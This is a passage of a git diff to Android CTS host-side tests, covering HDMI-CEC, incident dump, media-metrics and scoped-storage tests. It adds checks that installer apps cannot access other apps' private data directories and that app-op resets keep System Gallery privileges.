-        device.executeShellCommand("settings put global hdmi_cec_version " + cecVersion);
+        device.executeShellCommand("cmd hdmi_control cec_setting set hdmi_cec_version " +
+                cecVersion);
 
         TimeUnit.SECONDS.sleep(HdmiCecConstants.TIMEOUT_CEC_REINIT_SECONDS);
     }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java
index 04a3178..e6ffaf9 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java
@@ -49,7 +49,7 @@
                     .around(hdmiCecClient);
 
     public HdmiCecRemoteControlPassThroughTest() {
-        super(LogicalAddress.TV, "-t", "r", "-t", "p");
+        super(LogicalAddress.TV, "-t", "r", "-t", "p", "-t", "t");
         mapRemoteControlKeys();
     }
 
@@ -100,6 +100,19 @@
         validateKeyeventToUserControlPress(LogicalAddress.PLAYBACK_1);
     }
 
+    /**
+     * Test 11.1.13-3
+     *
+     * <p>Tests that the DUT sends the appropriate messages for remote control pass through to a
+     * Tuner Device.
+     */
+    @Test
+    public void cect_11_1_13_3_RemoteControlMessagesToTuner() throws Exception {
+        hdmiCecClient.broadcastActiveSource(
+                LogicalAddress.TUNER_1, hdmiCecClient.getPhysicalAddress());
+        validateKeyeventToUserControlPress(LogicalAddress.TUNER_1);
+    }
+
     private void mapRemoteControlKeys() {
         remoteControlKeys.put("DPAD_UP", HdmiCecConstants.CEC_CONTROL_UP);
         remoteControlKeys.put("DPAD_DOWN", HdmiCecConstants.CEC_CONTROL_DOWN);
diff --git a/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java
deleted file mode 100644
index a5cb9d7..0000000
--- a/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java
+++ /dev/null
@@ -1,219 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts;
-
-import com.android.server.alarm.AlarmClockMetadataProto;
-import com.android.server.alarm.AlarmManagerServiceDumpProto;
-import com.android.server.alarm.AlarmProto;
-import com.android.server.alarm.BatchProto;
-import com.android.server.alarm.BroadcastStatsProto;
-import com.android.server.alarm.ConstantsProto;
-import com.android.server.alarm.FilterStatsProto;
-import com.android.server.AppStateTrackerProto;
-import com.android.server.AppStateTrackerProto.RunAnyInBackgroundRestrictedPackages;
-import com.android.server.alarm.IdleDispatchEntryProto;
-import com.android.server.alarm.InFlightProto;
-import com.android.server.alarm.WakeupEventProto;
-import java.util.List;
-
-/**
- * Test to check that the alarm manager service properly outputs its dump state.
- */
-public class AlarmManagerIncidentTest extends ProtoDumpTestCase {
-    public void testAlarmManagerServiceDump() throws Exception {
-        final AlarmManagerServiceDumpProto dump =
-                getDump(AlarmManagerServiceDumpProto.parser(), "dumpsys alarm --proto");
-
-        verifyAlarmManagerServiceDumpProto(dump, PRIVACY_NONE);
-    }
-
-    static void verifyAlarmManagerServiceDumpProto(AlarmManagerServiceDumpProto dump, final int filterLevel) throws Exception {
-        // Times should be positive.
-        assertTrue(0 < dump.getCurrentTime());
-        assertTrue(0 < dump.getElapsedRealtime());
-        // Can be 0 if the time hasn't been changed yet.
-        assertTrue(0 <= dump.getLastTimeChangeClockTime());
-        assertTrue(0 <= dump.getLastTimeChangeRealtime());
-
-        // ConstantsProto
-        ConstantsProto settings = dump.getSettings();
-        assertTrue(0 < settings.getMinFuturityDurationMs());
-        assertTrue(0 < settings.getMinIntervalDurationMs());
-        assertTrue(0 < settings.getListenerTimeoutDurationMs());
-        assertTrue(0 < settings.getAllowWhileIdleShortDurationMs());
-        assertTrue(0 < settings.getAllowWhileIdleLongDurationMs());
-        assertTrue(0 < settings.getAllowWhileIdleWhitelistDurationMs());
-
-        // AppStateTrackerProto
-        AppStateTrackerProto appStateTracker = dump.getAppStateTracker();
-        for (int uid : appStateTracker.getForegroundUidsList()) {
-            // 0 is technically a valid UID.
-            assertTrue(0 <= uid);
-        }
-        for (int aid : appStateTracker.getPowerSaveExemptAppIdsList()) {
-            assertTrue(0 <= aid);
-        }
-        for (int aid : appStateTracker.getTempPowerSaveExemptAppIdsList()) {
-            assertTrue(0 <= aid);
-        }
-        for (RunAnyInBackgroundRestrictedPackages r : appStateTracker.getRunAnyInBackgroundRestrictedPackagesList()) {
-            assertTrue(0 <= r.getUid());
-        }
-
-        if (!dump.getIsInteractive()) {
-            // These are only valid if is_interactive is false.
-            assertTrue(0 < dump.getTimeSinceNonInteractiveMs());
-            assertTrue(0 < dump.getMaxWakeupDelayMs());
-            assertTrue(0 < dump.getTimeSinceLastDispatchMs());
-            // time_until_next_non_wakeup_delivery_ms could be negative if the delivery time is in the past.
-        }
-
-        assertTrue(0 < dump.getTimeUntilNextWakeupMs());
-        assertTrue(0 < dump.getTimeSinceLastWakeupMs());
-        assertTrue(0 < dump.getTimeSinceLastWakeupSetMs());
-        assertTrue(0 <= dump.getTimeChangeEventCount());
-
-        for (int aid : dump.getDeviceIdleUserExemptAppIdsList()) {
-            assertTrue(0 <= aid);
-        }
-
-        // AlarmClockMetadataProto
-        for (AlarmClockMetadataProto ac : dump.getNextAlarmClockMetadataList()) {
-            assertTrue(0 <= ac.getUser());
-            assertTrue(0 < ac.getTriggerTimeMs());
-        }
-
-        for (BatchProto b : dump.getPendingAlarmBatchesList()) {
-            final long start = b.getStartRealtime();
-            final long end = b.getEndRealtime();
-            assertTrue("Batch start time (" + start+ ") is negative", 0 <= start);
-            assertTrue("Batch end time (" + end + ") is negative", 0 <= end);
-            assertTrue("Batch start time (" + start + ") is after its end time (" + end + ")",
-                start <= end);
-            testAlarmProtoList(b.getAlarmsList(), filterLevel);
-        }
-
-        testAlarmProtoList(dump.getPendingUserBlockedBackgroundAlarmsList(), filterLevel);
-
-        testAlarmProto(dump.getPendingIdleUntil(), filterLevel);
-
-        testAlarmProtoList(dump.getPendingWhileIdleAlarmsList(), filterLevel);
-
-        testAlarmProto(dump.getNextWakeFromIdle(), filterLevel);
-
-        testAlarmProtoList(dump.getPastDueNonWakeupAlarmsList(), filterLevel);
-
-        assertTrue(0 <= dump.getDelayedAlarmCount());
-        assertTrue(0 <= dump.getTotalDelayTimeMs());
-        assertTrue(0 <= dump.getMaxDelayDurationMs());
-        assertTrue(0 <= dump.getMaxNonInteractiveDurationMs());
-
-        assertTrue(0 <= dump.getBroadcastRefCount());
-        assertTrue(0 <= dump.getPendingIntentSendCount());
-        assertTrue(0 <= dump.getPendingIntentFinishCount());
-        assertTrue(0 <= dump.getListenerSendCount());
-        assertTrue(0 <= dump.getListenerFinishCount());
-
-        for (InFlightProto f : dump.getOutstandingDeliveriesList())  {
-            assertTrue(0 <= f.getUid());
-            assertTrue(0 < f.getWhenElapsedMs());
-            testBroadcastStatsProto(f.getBroadcastStats());
-            testFilterStatsProto(f.getFilterStats(), filterLevel);
-            if (filterLevel == PRIVACY_AUTO) {
-                assertTrue(f.getTag().isEmpty());
-            }
-        }
-
-        for (AlarmManagerServiceDumpProto.LastAllowWhileIdleDispatch l : dump.getLastAllowWhileIdleDispatchTimesList()) {
-            assertTrue(0 <= l.getUid());
-            assertTrue(0 < l.getTimeMs());
-        }
-
-        for (AlarmManagerServiceDumpProto.TopAlarm ta : dump.getTopAlarmsList()) {
-            assertTrue(0 <= ta.getUid());
-            testFilterStatsProto(ta.getFilter(), filterLevel);
-        }
-
-        for (AlarmManagerServiceDumpProto.AlarmStat as : dump.getAlarmStatsList()) {
-            testBroadcastStatsProto(as.getBroadcast());
-            for (FilterStatsProto f : as.getFiltersList()) {
-                testFilterStatsProto(f, filterLevel);
-            }
-        }
-
-        for (IdleDispatchEntryProto id : dump.getAllowWhileIdleDispatchesList()) {
-            assertTrue(0 <= id.getUid());
-            assertTrue(0 <= id.getEntryCreationRealtime());
-            assertTrue(0 <= id.getArgRealtime());
-            if (filterLevel == PRIVACY_AUTO) {
-                assertTrue(id.getTag().isEmpty());
-            }
-        }
-
-        for (WakeupEventProto we : dump.getRecentWakeupHistoryList()) {
-            assertTrue(0 <= we.getUid());
-            assertTrue(0 <= we.getWhen());
-        }
-    }
-
-    private static void testAlarmProtoList(List<AlarmProto> alarms, final int filterLevel) throws Exception {
-        for (AlarmProto a : alarms) {
-            testAlarmProto(a, filterLevel);
-        }
-    }
-
-    private static void testAlarmProto(AlarmProto alarm, final int filterLevel) throws Exception {
-        assertNotNull(alarm);
-
-        if (filterLevel == PRIVACY_AUTO) {
-            assertTrue(alarm.getTag().isEmpty());
-            assertTrue(alarm.getListener().isEmpty());
-        }
-        // alarm.time_until_when_elapsed_ms can be negative if 'when' is in the past.
-        assertTrue(0 <= alarm.getWindowLengthMs());
-        assertTrue(0 <= alarm.getRepeatIntervalMs());
-        assertTrue(0 <= alarm.getCount());
-    }
-
-    private static void testBroadcastStatsProto(BroadcastStatsProto broadcast) throws Exception {
-        assertNotNull(broadcast);
-
-        assertTrue(0 <= broadcast.getUid());
-        assertTrue(0 <= broadcast.getTotalFlightDurationMs());
-        assertTrue(0 <= broadcast.getCount());
-        assertTrue(0 <= broadcast.getWakeupCount());
-        assertTrue(0 <= broadcast.getStartTimeRealtime());
-        // Nesting should be non-negative.
-        assertTrue(0 <= broadcast.getNesting());
-    }
-
-    private static void testFilterStatsProto(FilterStatsProto filter, final int filterLevel) throws Exception {
-        assertNotNull(filter);
-
-        if (filterLevel == PRIVACY_AUTO) {
-            assertTrue(filter.getTag().isEmpty());
-        }
-        assertTrue(0 <= filter.getLastFlightTimeRealtime());
-        assertTrue(0 <= filter.getTotalFlightDurationMs());
-        assertTrue(0 <= filter.getCount());
-        assertTrue(0 <= filter.getWakeupCount());
-        assertTrue(0 <= filter.getStartTimeRealtime());
-        // Nesting should be non-negative.
-        assertTrue(0 <= filter.getNesting());
-    }
-}
-
diff --git a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
index 33859bf..9304f46 100644
--- a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
@@ -17,6 +17,7 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import android.platform.test.annotations.RequiresDevice;
 import android.service.GraphicsStatsHistogramBucketProto;
 import android.service.GraphicsStatsJankSummaryProto;
 import android.service.GraphicsStatsProto;
@@ -28,6 +29,11 @@
 import java.util.Date;
 import java.util.List;
 
+// Although this test does not directly test performance, it does indirectly require consistent
+// performance for the "good" frames. Although pass-through GPU virtual devices should have
+// sufficient performance to pass OK, not all virtual devices do. So restrict this to physical
+// devices.
+@RequiresDevice
 public class GraphicsStatsValidationTest extends ProtoDumpTestCase {
     private static final String TAG = "GraphicsStatsValidationTest";
 
diff --git a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
index ba3a907..b136927 100644
--- a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
@@ -66,8 +66,6 @@
 
         ActivityManagerIncidentTest.verifyActivityManagerServiceDumpProcessesProto(dump.getAmprocesses(), filterLevel);
 
-        AlarmManagerIncidentTest.verifyAlarmManagerServiceDumpProto(dump.getAlarm(), filterLevel);
-
         // GraphicsStats is expected to be all AUTOMATIC.
 
         WindowManagerIncidentTest.verifyWindowManagerServiceDumpProto(dump.getWindow(), filterLevel);
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/OWNERS b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/OWNERS
index 464ed7d..fb8017c 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/OWNERS
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/OWNERS
@@ -1 +1 @@
-per-file *InlineSuggestion* = file:/core/java/android/service/autofill/OWNERS
+per-file *InlineSuggestion* = file:platform/frameworks/base:/core/java/android/service/autofill/OWNERS
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/OWNERS b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/OWNERS
index 464ed7d..fb8017c 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/OWNERS
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/OWNERS
@@ -1 +1 @@
-per-file *InlineSuggestion* = file:/core/java/android/service/autofill/OWNERS
+per-file *InlineSuggestion* = file:platform/frameworks/base:/core/java/android/service/autofill/OWNERS
diff --git a/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java b/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java
index 31e64c1..8416e58 100644
--- a/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java
+++ b/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java
@@ -18,8 +18,12 @@
 
 import android.content.Context;
 import android.media.metrics.MediaMetricsManager;
+import android.media.metrics.NetworkEvent;
+import android.media.metrics.PlaybackErrorEvent;
+import android.media.metrics.PlaybackMetrics;
 import android.media.metrics.PlaybackSession;
 import android.media.metrics.PlaybackStateEvent;
+import android.media.metrics.TrackChangeEvent;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -39,4 +43,77 @@
                         .build();
         s.reportPlaybackStateEvent(e);
     }
+
+    @Test
+    public void testPlaybackErrorEvent() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        PlaybackErrorEvent e =
+                new PlaybackErrorEvent.Builder()
+                        .setTimeSinceCreatedMillis(17630000L)
+                        .setErrorCode(PlaybackErrorEvent.ERROR_CODE_RUNTIME)
+                        .setSubErrorCode(378)
+                        .setException(new Exception("test exception"))
+                        .build();
+        s.reportPlaybackErrorEvent(e);
+    }
+
+    @Test
+    public void testTrackChangeEvent_text() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        TrackChangeEvent e =
+                new TrackChangeEvent.Builder(TrackChangeEvent.TRACK_TYPE_TEXT)
+                        .setTimeSinceCreatedMillis(37278L)
+                        .setTrackState(TrackChangeEvent.TRACK_STATE_ON)
+                        .setTrackChangeReason(TrackChangeEvent.TRACK_CHANGE_REASON_MANUAL)
+                        .setContainerMimeType("text/foo")
+                        .setSampleMimeType("text/plain")
+                        .setCodecName("codec_1")
+                        .setBitrate(1024)
+                        .setLanguage("EN")
+                        .setLanguageRegion("US")
+                        .build();
+        s.reportTrackChangeEvent(e);
+    }
+
+    @Test
+    public void testNetworkEvent() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        NetworkEvent e =
+                new NetworkEvent.Builder()
+                        .setTimeSinceCreatedMillis(3032L)
+                        .setNetworkType(NetworkEvent.NETWORK_TYPE_WIFI)
+                        .build();
+        s.reportNetworkEvent(e);
+    }
+
+    @Test
+    public void testPlaybackMetrics() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        PlaybackMetrics e =
+                new PlaybackMetrics.Builder()
+                        .setMediaDurationMillis(233L)
+                        .setStreamSource(PlaybackMetrics.STREAM_SOURCE_NETWORK)
+                        .setStreamType(PlaybackMetrics.STREAM_TYPE_OTHER)
+                        .setPlaybackType(PlaybackMetrics.PLAYBACK_TYPE_LIVE)
+                        .setDrmType(PlaybackMetrics.DRM_TYPE_WIDEVINE_L1)
+                        .setContentType(PlaybackMetrics.CONTENT_TYPE_MAIN)
+                        .setPlayerName("ExoPlayer")
+                        .setPlayerVersion("1.01x")
+                        .setVideoFramesPlayed(1024)
+                        .setVideoFramesDropped(32)
+                        .setAudioUnderrunCount(22)
+                        .setNetworkBytesRead(102400)
+                        .setLocalBytesRead(2000)
+                        .setNetworkTransferDurationMillis(6000)
+                        .build();
+        s.reportPlaybackMetrics(e);
+    }
 }
diff --git a/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java b/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
index 1208432..43548043 100644
--- a/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
+++ b/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
@@ -79,4 +79,114 @@
         assertThat(result.getPlaybackState().toString()).isEqualTo("JOINING_FOREGROUND");
         assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(1763L);
     }
+
+    public void testPlaybackErrorEvent() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIA_PLAYBACK_ERROR_REPORTED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testPlaybackErrorEvent");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediaPlaybackErrorReported()).isTrue();
+        AtomsProto.MediaPlaybackErrorReported result =
+                data.get(0).getAtom().getMediaPlaybackErrorReported();
+
+        assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(17630000L);
+        assertThat(result.getErrorCode().toString()).isEqualTo("ERROR_CODE_RUNTIME");
+        assertThat(result.getSubErrorCode()).isEqualTo(378);
+        assertThat(result.getExceptionStack().startsWith(
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests.testPlaybackErrorEvent"))
+                        .isTrue();
+    }
+
+    public void testTrackChangeEvent_text() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIA_PLAYBACK_TRACK_CHANGED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testTrackChangeEvent_text");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediaPlaybackTrackChanged()).isTrue();
+        AtomsProto.MediaPlaybackTrackChanged result =
+                data.get(0).getAtom().getMediaPlaybackTrackChanged();
+
+        assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(37278L);
+        assertThat(result.getState().toString()).isEqualTo("ON");
+        assertThat(result.getReason().toString()).isEqualTo("REASON_MANUAL");
+        assertThat(result.getContainerMimeType()).isEqualTo("text/foo");
+        assertThat(result.getSampleMimeType()).isEqualTo("text/plain");
+        assertThat(result.getCodecName()).isEqualTo("codec_1");
+        assertThat(result.getBitrate()).isEqualTo(1024);
+        assertThat(result.getType().toString()).isEqualTo("TEXT");
+        assertThat(result.getLanguage()).isEqualTo("EN");
+        assertThat(result.getLanguageRegion()).isEqualTo("US");
+    }
+
+    public void testNetworkEvent() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIA_NETWORK_INFO_CHANGED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testNetworkEvent");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediaNetworkInfoChanged()).isTrue();
+        AtomsProto.MediaNetworkInfoChanged result =
+                data.get(0).getAtom().getMediaNetworkInfoChanged();
+
+        assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(3032L);
+        assertThat(result.getType().toString()).isEqualTo("NETWORK_TYPE_WIFI");
+    }
+
+    public void testPlaybackMetrics() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testPlaybackMetrics");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        int appUid = DeviceUtils.getAppUid(getDevice(), TEST_PKG);
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediametricsPlaybackReported()).isTrue();
+        AtomsProto.MediametricsPlaybackReported result =
+                data.get(0).getAtom().getMediametricsPlaybackReported();
+
+        assertThat(result.getUid()).isEqualTo(appUid);
+        assertThat(result.getMediaDurationMillis()).isEqualTo(233L);
+        assertThat(result.getStreamSource().toString()).isEqualTo("STREAM_SOURCE_NETWORK");
+        assertThat(result.getStreamType().toString()).isEqualTo("STREAM_TYPE_OTHER");
+        assertThat(result.getPlaybackType().toString()).isEqualTo("PLAYBACK_TYPE_LIVE");
+        assertThat(result.getDrmType().toString()).isEqualTo("DRM_TYPE_WV_L1");
+        assertThat(result.getContentType().toString()).isEqualTo("CONTENT_TYPE_MAIN");
+        assertThat(result.getPlayerName()).isEqualTo("ExoPlayer");
+        assertThat(result.getPlayerVersion()).isEqualTo("1.01x");
+        assertThat(result.getVideoFramesPlayed()).isEqualTo(1024);
+        assertThat(result.getVideoFramesDropped()).isEqualTo(32);
+        assertThat(result.getAudioUnderrunCount()).isEqualTo(22);
+        assertThat(result.getNetworkBytesRead()).isEqualTo(102400);
+        assertThat(result.getLocalBytesRead()).isEqualTo(2000);
+        assertThat(result.getNetworkTransferDurationMillis()).isEqualTo(6000);
+    }
 }
diff --git a/hostsidetests/packagemanager/installedloadingprogess/hostside/Android.bp b/hostsidetests/packagemanager/installedloadingprogess/Android.bp
similarity index 95%
rename from hostsidetests/packagemanager/installedloadingprogess/hostside/Android.bp
rename to hostsidetests/packagemanager/installedloadingprogess/Android.bp
index 72e5fef..6214dea 100644
--- a/hostsidetests/packagemanager/installedloadingprogess/hostside/Android.bp
+++ b/hostsidetests/packagemanager/installedloadingprogess/Android.bp
@@ -15,7 +15,7 @@
 java_test_host {
     name: "CtsInstalledLoadingProgressHostTests",
     defaults: ["cts_defaults"],
-    srcs:  ["src/**/*.java"],
+    srcs:  ["hostside/src/**/*.java"],
     libs: [
         "cts-tradefed",
         "tradefed",
@@ -28,4 +28,3 @@
         "general-tests",
     ],
 }
-
diff --git a/hostsidetests/packagemanager/installedloadingprogess/hostside/AndroidTest.xml b/hostsidetests/packagemanager/installedloadingprogess/AndroidTest.xml
similarity index 100%
rename from hostsidetests/packagemanager/installedloadingprogess/hostside/AndroidTest.xml
rename to hostsidetests/packagemanager/installedloadingprogess/AndroidTest.xml
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index 634cf95..ce320f5 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -217,7 +217,8 @@
     @Parameter(0)
     public String mVolumeName;
 
-    @Parameters
+    /** Parameters data. */
+    @Parameters(name = "volume={0}")
     public static Iterable<? extends Object> data() {
         return ScopedStorageDeviceTest.getTestParameters();
     }
@@ -1348,6 +1349,39 @@
     }
 
     @Test
+    public void testDisableOpResetForSystemGallery() throws Exception {
+        final File otherAppImageFile = new File(getDcimDir(), "other_" + IMAGE_FILE_NAME);
+        final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
+
+        try {
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+            // Have another app create an image file
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppImageFile.getPath())).isTrue();
+            assertThat(otherAppImageFile.exists()).isTrue();
+
+            // Have another app create a video file
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
+            assertThat(otherAppVideoFile.exists()).isTrue();
+
+            assertCanWriteAndRead(otherAppImageFile, BYTES_DATA1);
+            assertCanWriteAndRead(otherAppVideoFile, BYTES_DATA1);
+
+            // Reset app op should not reset System Gallery privileges
+            executeShellCommand("appops reset " + THIS_PACKAGE_NAME);
+
+            // Assert we can still write to images/videos
+            assertCanWriteAndRead(otherAppImageFile, BYTES_DATA2);
+            assertCanWriteAndRead(otherAppVideoFile, BYTES_DATA2);
+
+        } finally {
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImageFile.getAbsolutePath());
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppVideoFile.getAbsolutePath());
+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    @Test
     public void testSystemGalleryAppHasFullAccessToImages() throws Exception {
         final File otherAppImageFile = new File(getDcimDir(), "other_" + IMAGE_FILE_NAME);
         final File topLevelImageFile = new File(getExternalStorageDir(), IMAGE_FILE_NAME);
@@ -2576,6 +2610,14 @@
         }
     }
 
+    private void assertCanWriteAndRead(File file, byte[] data) throws Exception {
+        // Assert we can write to images/videos
+        try (FileOutputStream fos = new FileOutputStream(file)) {
+            fos.write(data);
+        }
+        assertFileContent(file, data);
+    }
+
     /**
      * Checks restrictions for opening pending and trashed files by different apps. Assumes that
      * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index edc615d..db782d1 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -137,6 +137,18 @@
     }
 
     @Test
+    public void testCheckInstallerAppCannotAccessDataDirs() throws Exception {
+        allowAppOps("android:request_install_packages");
+        grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+        try {
+            runDeviceTest("testCheckInstallerAppCannotAccessDataDirs");
+        } finally {
+            denyAppOps("android:request_install_packages");
+            revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+        }
+    }
+
+    @Test
     public void testManageExternalStorageQueryOtherAppsFile() throws Exception {
         allowAppOps("android:manage_external_storage");
         try {
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index cf5efe5..3f90dda 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -175,6 +175,27 @@
         }
     }
 
+    /**
+     * Test that Installer packages cannot access app's private directories in Android/data
+     */
+    @Test
+    public void testCheckInstallerAppCannotAccessDataDirs() throws Exception {
+        File[] dataDirs = getContext().getExternalFilesDirs(null);
+        for (File dataDir : dataDirs) {
+            final File otherAppExternalDataDir = new File(dataDir.getPath().replace(
+                    THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
+            final File file = new File(otherAppExternalDataDir, NONMEDIA_FILE_NAME);
+            try {
+                assertThat(file.exists()).isFalse();
+
+                assertThat(createFileAs(APP_B_NO_PERMS, file.getPath())).isTrue();
+                assertCannotReadOrWrite(file);
+            } finally {
+                deleteFileAsNoThrow(APP_B_NO_PERMS, file.getAbsolutePath());
+            }
+        }
+    }
+
     @Test
     public void testManageExternalStorageCanCreateFilesAnywhere() throws Exception {
         pollForManageExternalStorageAllowed();
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index 5da0687..f256788 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -36,11 +36,12 @@
     compile_multilib: "both",
